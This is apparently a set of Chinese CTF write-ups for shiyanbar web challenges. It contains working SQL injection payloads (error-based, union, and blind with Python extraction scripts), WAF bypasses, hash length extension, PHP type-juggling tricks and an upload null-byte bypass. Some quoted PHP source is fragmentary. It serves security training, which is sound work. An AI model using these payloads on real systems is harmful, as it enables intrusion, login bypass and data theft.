后台登陆
格式:flag:{xxx}
解题链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
注释里有源码,绕过就行
md5注入,
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
md5($password,true)将MD5值转化为了十六进制
思路比较明确,当md5后的hex转换成字符串后,如果包含 ‘or’ 这样的字符串,那整个sql变成
SELECT * FROM admin WHERE pass = ''or'6'
提供一个字符串:ffifdyop
参考https://blog.csdn.net/qq_31481187/article/details/59727015
flag格式:flag{xxx}
解题链接: http://ctf5.shiyanbar.com/web/baocuo/index.php
右键源码得到
username的注入点:
(),会提醒User name unknow error.
-#:=被过滤
floor函数被过滤,其他报错函数正常
password的注入点:
-#:=被过滤
只有exp和name_const正常,其他报错函数被过滤,
那就有两种思路:
1,password处既可以用(),又可以用exp函数,具备了报错注入的条件。可以利用exp报错注入得到flag
2,在username处可以用报错函数,()被过滤。在password处可以用(),报错函数被过滤。sql注入里有一种就叫http分割注入,在不同的参数之间进行分割,到了数据库执行查询时再合并语句.出题人的意图就是左边不能出现括号,右边不能出现报错函数名.
payload:
username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or '
这里username最后为 /* 而password最前面为*/ 在拼接的时候就实现了/* */注释功能.
先试出一些waf:
substr mid left right union limit like
由于不能等号、like,于是借用regexp或者in代替等号,这里给的payload借用了regexp
第一种思路:
exp函数的报错公式select exp(~(select*from(select user())x)),select user()替换为相应的报错语句,
exp函数的用法解析参考:http://netsecurity.51cto.com/art/201508/489529.htm
报表名:
username=' or'1&password='or (select exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())x))) or'
得到
DOUBLE value is out of range in 'exp(~((select 'ffll44jj,users' from dual)))'
报列名:
username=' or'1&password='or (select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')x))) or'
得到
DOUBLE value is out of range in 'exp(~((select 'value' from dual)))'
也可以用in
username=' or'1&password='or (select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name in('ffll44jj'))x))) or'
报内容:
username=' or'1&password='or (select exp(~(select*from(select value from ffll44jj)x))) or'
得到flag
第二种思路:
select database(); #查选数据库
select group_concat(schema_name) from information_schema.schemata;#查询数据库
select schema_name from information_schema.schemata limit 0,1 #查询数据库
select group_concat(table_name) from information_schema.tables where table_schema=database();#查询表
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表
select column_name from information_schema.columns where table_name='users' limit 0,1; #查询列
报错函数updataxml的公式:http://www.******.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(select database()),0x7e),1),select database()换成报错语句即可
报表名:
username=' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or'
得到
XPATH syntax error: '~ffll44jj,users~'
报列名:
username=' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or'
得到
XPATH syntax error: '~value~'
报内容:
username=' or updatexml/*&password=*/(1,concat(0x7e,(select value from ffll44jj),0x7e),1) or'
得到flag
参考:http://www.shiyanbar.com/ctf/writeup/4869
/*!关键字*/就可以绕过
报库名
' /*!union*/ /*!select*/ /*!schema_name*/ /*!from*/ /*!information_schema.schemata*/ /*!where*/ ''='
得到
ID: ' /*!union*/ /*!select*/ /*!schema_name*/ /*!from*/ /*!information_schema.schemata*/ /*!where*/ ''='
name: information_schema
ID: ' /*!union*/ /*!select*/ /*!schema_name*/ /*!from*/ /*!information_schema.schemata*/ /*!where*/ ''='
name: test
ID: ' /*!union*/ /*!select*/ /*!schema_name*/ /*!from*/ /*!information_schema.schemata*/ /*!where*/ ''='
name: web1
报表名,
坑人作者过滤了关键词table_schema,不过还好双写可以绕过。
' /*!union*/ /*!select*/ /*!table_name*/ /*!from*/ /*!information_schema.tables*/ /*!where*/ /*!table_schtable_schemaema*/ = 'web1
得到
ID: ' /*!union*/ /*!select*/ /*!table_name*/ /*!from*/ /*!information_schema.tables*/ /*!where*/ /*!table_schema*/ = 'web1
name: flag
ID: ' /*!union*/ /*!select*/ /*!table_name*/ /*!from*/ /*!information_schema.tables*/ /*!where*/ /*!table_schema*/ = 'web1
name: web_1
报列名,
作者又过滤了和information_schema.columns,都是双写绕过。过滤column_name导致卡了好一会,因为过滤information_schema.columns是可以通过响应near 'from*/ /*!*/ /*!where*/ /*!table_name*/ = 'flag''很容易看出来的.而双写information_schema.columns后的响应near 'from*/ /*!information_schema.columns*/ /*!where*/ /*!table_name*/ = 'flag''却需要对sql语言有一定的了解才知道错误出在column_name被过滤了,真正执行的查询语句是' /*!union*/ /*!select*/ /*!from*/ /*!information_schema.columns*/ /*!where*/ /*!table_name*/ = 'flag,
payload:' /*!union*/ /*!select*/ /*!column_nacolumn_nameme*/ /*!from*/ /*!information_scheminformation_schema.columnsa.columns*/ /*!where*/ /*!table_name*/ = 'flag
得到
ID: ' /*!union*/ /*!select*/ /*!column_name*/ /*!from*/ /*!information_schema.columns*/ /*!where*/ /*!table_name*/ = 'flag
name: flag
ID: ' /*!union*/ /*!select*/ /*!column_name*/ /*!from*/ /*!information_schema.columns*/ /*!where*/ /*!table_name*/ = 'flag
name: id
最后报内容
' /*!union*/ /*!select*/ /*!flag*/ /*!from*/ /*!flag*/ /*!where*/ ''='
得到flag
就是在简单的sql注入的基础上增加了对空格的过滤,用/**/即可绕过
就是一个报错注入,试了一下过滤了floor,updatexml,extractvalue这三个报错函数,用加了料的报错注入中
介绍的exp函数即可。
报表名
'or (select exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())x))) or'
得到
DOUBLE value is out of range in 'exp(~((select 'flag,web_1' from dual)))'
报列名
'or (select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name regexp 'flag')x))) or'
得到
DOUBLE value is out of range in 'exp(~((select 'flag,id' from dual)))'
报内容
'or (select exp(~(select*from(select flag from flag)x))) or'
得到flag
flag格式 CTF{}
解题链接: http://ctf5.shiyanbar.com/web/pcat/index.php
源码审计题,查看了一下源码,大致逻辑就是: 先对post的数据进行过滤,过滤了一些关键词,然后用$uname组建sql语句查询,如果查询的数据只有一条,就用'=='比较post的密码和查询到的密码是否相等,相等返回flag
先用uname=admin&pwd=1试试,
返回 一颗赛艇!
通过源码,知道说明并不存在admin这个用户,
既然不知道用户名,那就只能想办法绕过,这里是用uname=1'||1 limit 1#&pwd=1,返回 亦可赛艇!
组合后的sql语句是:SELECT * FROM interest WHERE uname = '1'||1 limit 1#',
where 1返回所有数据,where 1 limit 1返回一条数据,#把多余的'注释掉,
uname=1'||1 limit 1 offset 1#&pwd=1 返回 亦可赛艇!
uname=1'||1 limit 1 offset 2#&pwd=1 返回 一颗赛艇!
说明只有两个用户。
接下来就是绕过pwd的比较,这里是用uname=1' || 1 group by pwd with rollup limit 1 offset 2#&pwd=绕过,
where 1返回所有数据,where 1 group by pwd ,对where 1得到的结果按pwd分组后返回,where 1 group by pwd with rollup 对where 1 group by pwd得到的结果再增加一行统计结果,关于with rollup见:https://blog.csdn.net/jiangnan2014/article/details/17229713
因为是按pwd分组的,所以增加的那一行的pwd为NULL,即类似这样:
+-------+-------+
| uname | pwd |
+-------+-------+
| usr1 | ***** |
| usr2 | ***** |
| usr2 | NULL |
+-------+-------+
然后where 1 group by pwd with rollup limit 1 offset 2是对where 1 group by pwd with rollup得到的结果取第三行,
最后看这里$key['pwd'] == $_POST['pwd']用的是 ==,根据弱类型,NULL和空字符串是相等的,这就是为何我们不给pwd穿参的原因
参考:http://www.shiyanbar.com/ctf/writeup/1208
一直都很认真的
解题链接: http://ctf5.shiyanbar.com/web/earnest/index.php
输入0显示you are not in
输入1 显示you are in
测试单字符waf得到#%,;^|
测试敏感字符得到sustr,union,and
输入0' or '1'='1显示sql detected.是什么被过滤了呐,单独的空格,or,',都不会引起sql detected,那就只能一点一点排除测试,最后发现是因为1 1这种格式被过滤了,那就不用空格,(空格的绕过:用双空格/制表符代替尝试,用/**/当做空格,用括号包起来进行,用回车代替空格,反引号`的使用.) /**/失败了(最后证明'*'会被替换为空),用制表符是可以的,用回车是可以的,会返回you are in.因为题目的输入框是不能输入回车和tab键的,所以要在bp里修改请求
也就是输入0'%0aor%0a'1'='1,它会返回you are in.
输入0'%0aor%0a'1'='2,它会返回you are not in.
那么我想用利用盲注来获取数据,为了方便盲注,我写了上面这两个payload的等价式:(为了方便观看,这里空格还是写成空格,真正提交请求的时候需要替换成回车.)
正常来说,上面这个payload应该返回you are in.下面这个返回you are not in.
但实际上两个payload都返回you are not in.
0' or '1'='1和0' or 1=1 or '1'='2两个逻辑上相等的payload居然有不同的结果..两个逻辑上相等的payload都被成功接收了,返回不同的结果。那就是它们的逻辑并没有被完全接受,换句话说就是它们的部分字符被更改了,导致查询语句真正接收到的并不是逻辑相同的语句.
测试发现是因为or被替换成空.需要用oorr代替or.
就是用回车去替换空格,用oorr替换or,利用
0' or 1=1 or '1'='2
0' or 1=2 or '1'='2
的响应不同来进行盲注.
报表名:
import requests
#url,range,id,data
def payload(rawstr):
newstr=rawstr.replace(' ',chr(0x0a)).replace('or','oorr')
return newstr
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz@'
for i in range(1,20):
for j in dic:
id="2' or ord((select mid(group_concat(table_name separator '@') from {0} for 1) from information_schema.tables where table_schema=database() limit 1))={1} or '1'='2".format(i,ord(j))#我觉得加一个limit 1比较好,虽然不加也爆出了表名
data={
'id':payload(id)
}
s=requests.post(url=url,data=data)
content=s.content
length=len(content)
if length<692:
string+=j
break
print(string)
报列名:
import requests
#url,range,id,data
def payload(rawstr):
newstr=rawstr.replace(' ',chr(0x0a)).replace('or','oorr')
return newstr
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
string=''
dic='@$.0123456789abcdefghijklmnopqrstuvwxyzLG'#dic=string.digits+string.ascii_letters+'!_{}@~.'
for i in range(1,20):
for j in dic:
id="2' or ord((select mid(group_concat(column_name separator '@') from {0} for 1) from information_schema.columns where table_name='fiag' limit 1))={1} or '1'='2".format(i,ord(j))#limit 1似乎不是必须的
data={
'id':payload(id)
}
s=requests.post(url=url,data=data)
content=s.content
if 'You are in' in str(content):
string+=j
break
print(string)
报内容:
import requests
import string
#url,range,id,data
def payload(rawstr):
newstr=rawstr.replace(' ',chr(0x0a)).replace('or','oorr')
return newstr
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'
string1=''
dic=string.digits+string.ascii_letters+'!_{}@~ .'
for i in range(1,20):
for j in dic:
id="2' or ord((select mid(group_concat(fL$4G separator '@') from {0} for 1) from fiag))={1} or '1'='2".format(i,ord(j))
data={
'id':payload(id)
}
s=requests.post(url=url,data=data)
content=s.content
if 'You are in' in str(content):
string1+=j
break
print(string1)
解题链接: http://ctf5.shiyanbar.com/web/PHP/index.php
源码审计,绕过一些php函数.
post的数据要含有number变量,number变量要满足以下三个条件:
1.在is_numeric() 看起来,必须不是数字
2.$_POST['number']必须等于strval(intval($_POST['number'])),其实就是说number必须是纯数字.
3.intval($_POST["number"])必须等于intval(strrev($_POST["number"])),并且is_palindrome_number($req["number"])要返回false.其实就是说用intval和strrev判断是回文,而用is_palindrome_number()判断却不是回文.
注:is_palindrome_number()是作者自己写的判断回文的函数.
is_numeric()函数是判断变量是否是数字或者数字字符串,不仅检查10进制,16进制也可以.
is_numeric()对于空字符%00,不论%00放在数字前后,都会返回false,对于%20,只有放在数字后才会返回false.
Intval函数获取变量整数数值
Intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
这个有个应用就是在判断数值是不是回文上,如果参数为2147483647,那么当它反过来,由于超出了限制,所以依然等于2147483647。即为回文
所以在bp里修改请求为number=2147483647%20即可.
不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!
flag格式:ctf{xxxx}
解题链接: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
万能密码:username=kkk'='&password=kkk'='
select * from user where username='用户名' and password='密码'
---->>select * from user where username='kkk'='' and password='kkk'=''
或者:
通过构造username=0爆出全部数据
这里我们要知道,除了开头是非零数的字符串,其他字符串化成整型都为0,字符串=0 为真。
当所有username里没有开头是非零数的字符串,username=0相当于查全部数据.
username=\&password=^'aaa
构成的语句是 select * from user where username = ' \' and password = '^'aaa'
其中反斜杠把后面的单引号转义掉了,所以' \' and password = '就是一串字符串,'aaa'也是一串字符串,字符串都为0,0⊕0=0,又构造出username=0
参考:http://www.shiyanbar.com/ctf/writeup/6008
我要把攻击我的人都记录db中去!
解题链接: http://ctf5.shiyanbar.com/web/wonderkun/index.php
进去发现是记录ip,一般有CLIENT-IP,X-FORWARDED-FOR,REMOTE_ADDR
通过修改HTTP头中发现这里是获取X-FORWARDED-FOR,
修改X-Forwarded-For头为,1' and sleep(3) and '1'='1
进程比之前慢了三秒左右,这就很显然是个基于时间的盲注,试试比较普遍的,1' and if(1,sleep(3),sleep(0)) and '1'='1
发现过滤了',',不过没关系,试试另一个不用逗号的,1' and (select case when 1 then sleep(3) else sleep(0) end) and 'a'='a
成功延时,那就写个脚本
报表名:
import requests
url=r'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz@_'
for i in range(1,33):
for j in dic:
xff="127' and (select case when (ord((select mid(group_concat(table_name separator '@') from {0} for 1) from information_schema.tables where table_schema=database() limit 1)) = {1}) then sleep(3) else sleep(0) end) and 'a'='a".format(i,ord(j))
headers={
"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://www.shiyanbar.com/ctf/1941",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0",
"X-Forwarded-For": xff
}
s=requests.post(url=url,headers=headers)
sec=s.elapsed.seconds
if sec > 3:
string+=j
break
print (string)
报列名:
import requests
url=r'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz@_`~!@#$%^&*()_+-=[]{};\:\'",/<>?/-+.'
for i in range(1,33):
for j in dic:
xff="127' and (select case when (ord((select mid(group_concat(column_name separator '@') from {0} for 1) from information_schema.columns where table_name='flag' limit 1)) = {1}) then sleep(5) else sleep(0) end) and 'a'='a".format(i,ord(j))
headers={
"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://www.shiyanbar.com/ctf/1941",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0",
"X-Forwarded-For": xff
}
s=requests.post(url=url,headers=headers)
sec=s.elapsed.seconds
if sec > 5:
string+=j
break
print (string)
报内容
import requests
url=r'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz@_`~!@#$%^&*()_+-=[]{};\:\'",/<>?/-+.'
for i in range(1,38):
for j in dic:
xff="127' and (select case when (ord((select mid(flag from {0} for 1) from flag)) = {1}) then sleep(10) else sleep(0) end) and 'a'='a".format(i,ord(j))
headers={
"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://www.shiyanbar.com/ctf/1941",
"Cookie": "PHPSESSID=urb8502qlulq604377sopeo0a6",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0",
"X-Forwarded-For": xff
}
s=requests.post(url=url,headers=headers)
sec=s.elapsed.seconds
if sec > 10:
string+=j
break
print (string)
就是答案要再加个ctf{},题目里没说.
看看响应头
格式:CTF{ }
解题链接: http://ctf5.shiyanbar.com/web/10/10.php
看看响应头得到 FLAG:UDBTVF9USElTX1QwX0NINE5HRV9GTDRHOlBNVE1XVUZHUQ==
base64解码得到:P0ST_THIS_T0_CH4NGE_FL4G:PMTMWUFGQ, post这个到CH4NGE_FL4G,
CH4NGE_FL4G是什么我不知道,一直到解决这道题我也不知道.
按照惯例:源码,查看元素,bp看包,御剑扫描.
在查看元素时得到
用参数key,post你所发现的,这就很明显了,大概就是参数名是key,值是FLAG解码后的东西。写个脚本:
import requests
import base64
url="http://ctf5.shiyanbar.com/web/10/10.php"
s=requests.Session()
flag=s.get(url).headers['FLAG']
flag=base64.b64decode(flag)
flag=str(flag)
flag=flag.split(':')[1]#因为用':'切片后,得到的数据类似G5xo0UJpS'这种形式,所以再用单引号切片,得到G5xo0UJpS
flag=flag.split('\'')[0]
data={'key':flag}
reps=s.post(url,data=data)
print(reps.content.decode('utf-8'))
相信你一定能拿到想要的
Hint:你可能希望知道服务器端发生了什么。。
格式:CTF{}
解题链接: http://ctf5.shiyanbar.com/web/kzhan.php
大概就是查看源码,查看元素,bp看包没什么收获,
只能再看看题,看看有什么提示,
题目里说:If you have the correct credentials, log in below. If not, please LEAVE.
它是怎么知道我有没有正确的证书呐,又看了一遍请求头,响应头.发现了一个异于其他题的请求头:
cookie:source=0,然后就把0改为1试了下,得到了源码
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
关键的部分大概就是:
if (!empty($_COOKIE["getmein"]))
{
if (urldecode($username) === "admin" && urldecode($password) != "admin")
{
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password)))
{
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else
{
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
$secret是未知的,md5($secret."adminadmin")是已知的,在$password不等于"admin"的前提下要求md5($secret . urldecode("admin" . $password)))等于$COOKIE["getmein"]的值,难点在哪呐,我只知道password等于"admin"的情况下,md5加密的结果.password等于其他值的情况下因为$secret是未知的,所以加密后的结果是不知道的,这里利用了Hash长度扩展攻击
深入理解hash长度扩展攻击(sha1为例) http://www.freebuf.com/articles/web/69264.html
科普哈希长度扩展攻击(Hash Length Extension Attacks) http://www.freebuf.com/articles/web/31756.html
讲解的最详细的应该是
《白帽子讲web安全》中的“Understanding MD5 Length Extension Attack”一节。
利用的时候需要在主动地控制md5操作流程中的一些输入值,所以需要清楚md5的操作流程,参考:
MD5算法详述及python实现 http://blog.csdn.net/adidala/article/details/28677393
这里也有现成的工具可以使用:
哈希长度扩展攻击的简介以及HashPump安装使用方法 http://www.cnblogs.com/pcat/p/5478509.html
哈希长度扩展攻击(Hash Length Extension Attack)利用工具hexpand安装使用方法 http://www.cnblogs.com/pcat/p/7668989.html
如何欺骗服务器,才能拿到Flag?
格式:CTF{}
解题链接: http://ctf5.shiyanbar.com/indirection/
这道题打开链接后,就看到高亮的源码,简单看了理解下,就是分7个步骤判断URL是否满足条件,如果不满足就把$flag弄掉(后面的echo $flag你就看不到你想要的),这题比较温馨的是当你不满足条件就会看到Not Pass(作者蛮用心的)。
如果是正常访问,$URL = $_SERVER['REQUEST_URI']; 这里$URL一般会得到/indirection/或者/indirection/index.php,这里的$_SERVER['REQUEST_URI']只会原封不动的显示网址的字符串(不会像$_SERVER['PHP_SELF']会对网址进行一次urldecode操作),所以要转义不太可能。通篇也没出现echo $URL;要注入也不太可能。
于是,冷静分析下7个步骤,发现要过的话,需要满足不能出现./、\、大写或者其他符号、//、p.,而且要求末尾是/index.php,这6个步骤对于/indirection/index.php都可以满足,但是最后一条又告知不能等于/indirection/index.php,顿时就被泼了冷水- -。
作为一个非Web狗表示压力大,中间的苦逼过程就不提了,我也是在本地构建php尝试写注入语句时发现一个php路径解析的问题,/test.php/pcat.html也是能正常访问/test.php,自我猜想就是服务器解析到.php后就把后面的/pcat.html当作参数处理。(>^ω^<)看到这里,你们可以想到了吧,第5步步骤只要求末尾是/index.php,那么我们构建/indirection/index.php/index.php不就ok?于是7个步骤都能通过,就可以得到flag。
科普君:这种其实就是伪静态技术(pseudo-static),又名URL重写(URL rewriting)。举个最简单的应用,例如你原本想弄的是index.php?id=123,但你想隐藏其真实的文件路径,你通过URL重写技术,可以达到访问test/123.html而实际上在访问index.php?id=123
转:http://www.shiyanbar.com/ctf/writeup/545
天网你敢来挑战嘛
格式:ctf{ }
解题链接: http://ctf5.shiyanbar.com/10/web1/
在源码里找到:
"0e123456"=="0e456789"
相互比较的时候,会将0e
这类字符串识别为科学技术法的数字,0
乘以10
的无论多少次方都是0,所以相等
0e开头的md5和原值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
所以username=s878926199a,得到/user.php?fame=hjkleffifer,访问得到
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}
伟大的科学家php方言道:成也布尔,败也布尔。
回去吧骚年
利用bool
类型的true
跟任意字符串可以弱类型相等,即
#得到OK[Finished in 0.3s]
所以序列化数组:array("user"=>true,"pass"=>true)
true,"pass"=>true);
$test2 = '';
$test2=serialize($test);
echo $test2;
?>
#得到a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
提交password=a:2:{s:4:"user";b:1;s:4:"pass";b:1;}即可.
找回密码
格式:SimCTF{ }
解题链接: http://ctf5.shiyanbar.com/10/upload/
查看源码,查看元素,得到一点信息:管理员邮箱:[email protected].编辑器是vim
直接在输入框提交[email protected],得到"邮件发到管理员邮箱了,你看不到的"
随便提交一个东西例如kk,得到"你邮箱收到的重置密码链接为 ./[email protected]&check=???????"
访问http://ctf5.shiyanbar.com/10/upload/[email protected]&check=???????,发现重定向到step1.php了,
那就用bp拦截,这样就能停留在step2了,但是此时的输入框如下:
两个输入位,在第一个输入框提交kk,第二个输入框随便填.提示"you are not an admin",那就在第一个提交[email protected],得到fail,应该是因为第二个输入框token的值不对,
但我并没有方法能得到管理员的token.查看其他人的wp.
通过step1.php,处理程序我们知道是step2.php,最后是submit.php负责校验。
vim编辑器的特点是,可能产生临时文件,对于submit.php,产生的临时文件是 .submit.php.swp。
我们打开http://ctf5.shiyanbar.com/10/upload/.submit.php.swp,可以看到最后判断逻辑的源代码。
注意到token就是0,并且还要绕过长度限制(要求长度为10)。
所以,访问[email protected]&token=0000000000
即可看到flag
那这道题考察的就是这一点:vim编辑器会产生临时文件,对于submit.php,产生的临时文件是 .submit.php.swp。
可以访问得到submit.php的源码
啊拉?又是php审计。已经想吐了。
hint:ereg()函数有漏洞哩;从小老师就说要用科学的方法来算数。
格式:CTF{}
解题链接: http://ctf5.shiyanbar.com/web/more.php
源码如下:
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '
You password must be alphanumeric
';*-* have not been found
');Invalid password
';ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false
ereg的漏洞大概如下:
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
字符串对比解析
在这里如果 $_GET[‘password’]为数组,则返回值为NULL
如果为123 || asd || 12as || 123%00&&&**,则返回值为true
其余为false
正常情况下这个式子是不可能满足的:if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
在这里是用科学技术法绕过,即1e9,这样既保证了长度小于8,数值也大于9999999
所以提交1e9%00*-*即可得到flag
写个算法没准就算出来了,23333
hint:你确定你有认真看判断条件?
格式:CTF{}
解题链接: http://ctf5.shiyanbar.com/web/Session.php
这个需要知道session变量的一些机制。简单的说就是,在客户端访问之前,如果该客户端以前没访问过,服务器就会给个phpsessid,同时在服务器上生成一个对应的文件,用来存储session变量.
源码中最重要的是这一行if ($_GET['password'] == $_SESSION['password'])
为了绕过它,我们用bp抓包,提交password=,并且去掉我们的cookie.这样服务器认为我们是第一次访问该网站,$_SESSION['password']就是空.也就等于了同样为空的password
总之这题考查了session的机制
PHP代码审计
hint:sha1函数你有认真了解过吗?听说也有人用md5碰撞o(╯□╰)o
格式:CTF{}
解题链接: http://ctf5.shiyanbar.com/web/false.php
$_GET['name'] != $_GET['password']
sha1($_GET['name']) === sha1($_GET['password'])
#要求满足上述条件
md5 和 sha1 无法处理数组,返回 NULL,将变量name
,password
加个[]即可
即:name[]=1&password[]=2
bypass the upload
格式:flag{}
解题链接: http://ctf5.shiyanbar.com/web/upload
请看:https://blog.csdn.net/zpy1998zpy/article/details/80545408#comments
启发:除了文件名,还能在文件保存路径处进行0x00截断.
这样,文件名1.jpg可以绕过检查,
文件保存时又是/uploads/1.php 1.jpg(空格代表0x00截断),对于服务器来说就是:/uploads/1.php,既绕过了对上传的文件名的检查,又在保存时保存成了想要的文件.
密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
格式:flag:{}
解题链接: http://ctf5.shiyanbar.com/web/web200.jpg
打开是这个
就是写个解密函数把密文解出来就行:
本地服务器,传参key=a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
即可
绕过
解题链接: http://ctf5.shiyanbar.com/web/5/index.php
查看源码得到index.txt,访问得到源码.
看了源码以为是报错注入,就注入得到了用户名admin和密码111,但登录失败。仔细看看源码,发现
$pass = md5($_POST[pass]); if (($row[pw]) && (!strcasecmp($pass, $row[pw])))
也就是说我输入pass=111,
最后比较的是strcasecmp(md5('111'), '111'),自然是不可能相等的,尝试了strcasecmp()函数的漏洞,即比较数组和字符串时会返回0,即认为相等,传入user=admin&pass[]=1,然而没用.大概是因为pass[]经过了md5()就不再是个数组了.
最后发现能通过union控制$row[pw]的结果,即user=' union select 'cb42e130d1471239a27fca6228094f0e&pass=kkk(cb42e130d1471239a27fca6228094f0e是kkkmd5加密后的结果)
$sql = "select pw from php where user='$user'";
这样查询语句就是select pw from php where user='' union select 'cb42e130d1471239a27fca6228094f0e'
union的前一个查询查不到东西,后一个返回cb42e130d1471239a27fca6228094f0e,原理:https://blog.csdn.net/u010104750/article/details/51141221
然后strcasecmp($pass, $row[pw])就是strcasecmp(md5('kkk'), 'cb42e130d1471239a27fca6228094f0e'),返回0,拿到flag
总结就是可以通过select 1 控制sql返回的结果
注意备份文件
解题链接: http://ctf5.shiyanbar.com/DUTCTF/index.php
源码:
not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "Access granted!
";
echo "flag: *****************}
";
}
?>
看到eregi以为是00截断,试了id=%00hackerDJ,发现不行,仔细看看比平常多了一行
$_GET[id] = urldecode($_GET[id]);
又进行了一次urldecode解码,那就很明确了,把hackerDJ编码两次就绕过了.
id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41即可
很明显。过年过节不送礼,送礼就送这个
格式:
解题链接: http://ctf5.shiyanbar.com/8/index.php?id=1
真的很简单,就是最简单的sql注入,什么都没有过滤.直接union联合查询就行了.唯一有点遗憾的的就是,一开始一直尝试带带单引号的语句,例如1' or ''=',没有什么发现.最后才意识到sql这个sql查询语句可能是没有单引号的,一试果然没有.
http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_name,column_name from information_schema.columns
从information_schema.columns
表里查询所有表名和列名,可能有点难受的就是返回的数据有点多,只能ctrl+f搜索,flag或key关键字,发现thiskey表里k0y字段.
于是http://ctf5.shiyanbar.com/8/index.php?id=1 union select k0y from thiskey
发现没有返回结果,尴尬.仔细看看,此处sql查询返回的结果是要有两列的,所以http://ctf5.shiyanbar.com/8/index.php?id=1 union select k0y,1 from thiskey
得到flag.
总结就是有的sql查询语句是没有单引号的,所以是1 or 1=1而不是1' or '1'='1,而且用union联合查询时注意查询返回的列数要和原查询一致.
不多说,去看题目吧。
解题链接: http://ctf5.shiyanbar.com/phpaudit/
就是在请求中加一个x-forwarded-for:1.1.1.1就行.
提示都这么多了,再提示就没意思了。
解题链接: http://ctf5.shiyanbar.com/sHeader/
